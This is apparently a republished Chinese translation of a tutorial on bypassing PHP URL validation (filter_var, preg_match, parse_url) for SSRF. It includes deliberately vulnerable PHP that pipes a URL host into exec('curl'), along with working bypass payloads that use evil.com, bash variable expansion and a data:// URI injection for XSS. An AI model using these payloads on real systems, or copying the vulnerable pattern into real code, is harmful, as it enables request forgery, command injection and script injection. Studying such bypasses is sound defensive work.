php parse url ctf,【SSRF】如何绕过filter_var(), preg_match() 和 parse_url()
0x01 前言
這篇文章是在我看完一片國外安全大佬寫的文章后對其進(jìn)行總結(jié)并翻譯得到的。
0x02 正文之繞過filter_var和preg_match
本片文章主要深入一種php ssrf的技術(shù)——如何繞過例如filter_var(), preg_match()和parse_url()等函數(shù)。
本次我進(jìn)行測試的php版本全部為php v5.6.30
php-version
PHP 漏洞代碼
echo "Argument: ".$argv[1]."\n";
//check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)){
//parse URL
$r = parse_url($argv[1]);
print_r($r);
//check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])){
//get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
}else{
echo "Error: Host not allowed";
}
}else{
echo "Error: Invalid URL";
}
?>
這段代碼里使用了filter_var()函數(shù),preg_match()函數(shù)來進(jìn)行過濾,并用parse_url()函數(shù)進(jìn)行解析,最后利用exec函數(shù)執(zhí)行curl命令進(jìn)行訪問網(wǎng)址。
在正式介紹繞過技術(shù)之前,我們需要了解一下以上函數(shù)的具體作用。
filter_var()
filter_var — 使用特定的過濾器過濾一個變量
FILTER_VALIDATE_URL
preg_match()
該函數(shù)使用正則表達(dá)式來進(jìn)行匹配特定的字符串
parse_url()
parse_url
ok,了解了這些函數(shù)后,說說上面的測試代碼。這段代碼的是獲取第一個參數(shù)(這個參數(shù)是用來模擬通過$_GET或者$_POST方法獲取的),然后通過filter_var()函數(shù)判斷傳入的url時候符合規(guī)定。如果如何規(guī)定,通過parse_url來解析這個參數(shù),獲取到host值,通過preg_match函數(shù)來判斷host時候以baidu.com結(jié)尾。
運行上面的代碼得到的正常結(jié)果取下:
如果不是正常的參數(shù)呢?
http://evil.com
繞過FILTER_VALIDATE_URL和正則表達(dá)式
許多URL結(jié)構(gòu)保留一些特殊的字符用來表示特殊的含義,這些符號在URL中不同的位置有著其特殊的語義。字符“;”, “/”, “?”, “:”, “@”, “=” 和“&”是被保留的。除了分層路徑中的點段,通用語法將路徑段視為不透明。 生成URI的應(yīng)用程序通常使用段中允許的保留字符來分隔。例如“;”和“=”用來分割參數(shù)和參數(shù)值。逗號也有著類似的作用。
例如,有的結(jié)構(gòu)使用name;v=1.1來表示name的version是1.1,然而還可以使用name,1.1來表示相同的意思。當(dāng)然對于URL來說,這些保留的符號還是要看URL的算法來表示他們的作用。
運行代碼試一下
發(fā)現(xiàn)報錯了,返回的是Invalid URL,那么因該是filter_var函數(shù)沒有繞過。filter_var函數(shù)可以解析多種協(xié)議,我們可以試一下不是http的協(xié)議,例如
0://evil.com;baidu.com
ok,成功繞過filter_var和preg_match函數(shù)!但是我們發(fā)現(xiàn)它并沒有解析我們的url,別擔(dān)心,我們試試添加一下端口號,因為不是http的話默認(rèn)端口就不是80了
0://evil.com:80;baidu.com:80
ok,成功解析!
當(dāng)然,我們之前說的逗號也是可以跟分號是一個作用的
依舊成功!
0x03 正文之繞過parse_url
parse_url函數(shù)不是用來驗證URL的正確性的,而是盡可能的去解析URL,并把URL分割成特定的部分。在這種情況下,可以使用將URL的部分變?yōu)樽兞繌亩M(jìn)行繞過。
0://evil$baidu.com
這里,在bash中,$var是一個變量,在這個例子中$baidu這個變量未定義是個空,也就是說這個URL是0://evil.com,也就是0://evil.com,成功繞過!
但是這種方法也是有局限性的,因為需要利用bash中的特性,因此只有在php腳本中使用exec()、system()等命令執(zhí)行的函數(shù)執(zhí)行curl或者wget命令時才可以完成。
0x04 正文之data://偽協(xié)議和xss利用
與上面的exec不同,這里我們使用的是filter_get_content函數(shù),php的測試代碼如下:
echo "Argument: ".$argv[1]."\n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])) {
// get page from URL
$a = file_get_contents($argv[1]);
echo($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
這次我們的任務(wù)是在響應(yīng)主體中修改內(nèi)容,添加一個“Hacked by Pino_HD”
data://text/plain;base64,SGFja2VkIGJ5IFBpbm8Kbaidu.com
發(fā)現(xiàn)parse_url函數(shù)把text設(shè)置成了host,然后報了Host not allowed錯誤。但是別擔(dān)心,我們可以注入一些東西到MIME類型的地方,因為php是不關(guān)心MIME類型的。。
data://baidu.com/plain;base64,SGFja2VkIGJ5IFBpbm8K
ok,成功在響應(yīng)包中寫入我們想要寫的東西。因此我們是可以控制響應(yīng)體的內(nèi)容,從而形成xss
總結(jié)
以上是生活随笔為你收集整理的php parse url ctf,【SSRF】如何绕过filter_var(), preg_match() 和 parse_url()的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java 泛型 加_Java泛型并将数字
- 下一篇: 商业保险分类详细解说,这样买保险才明智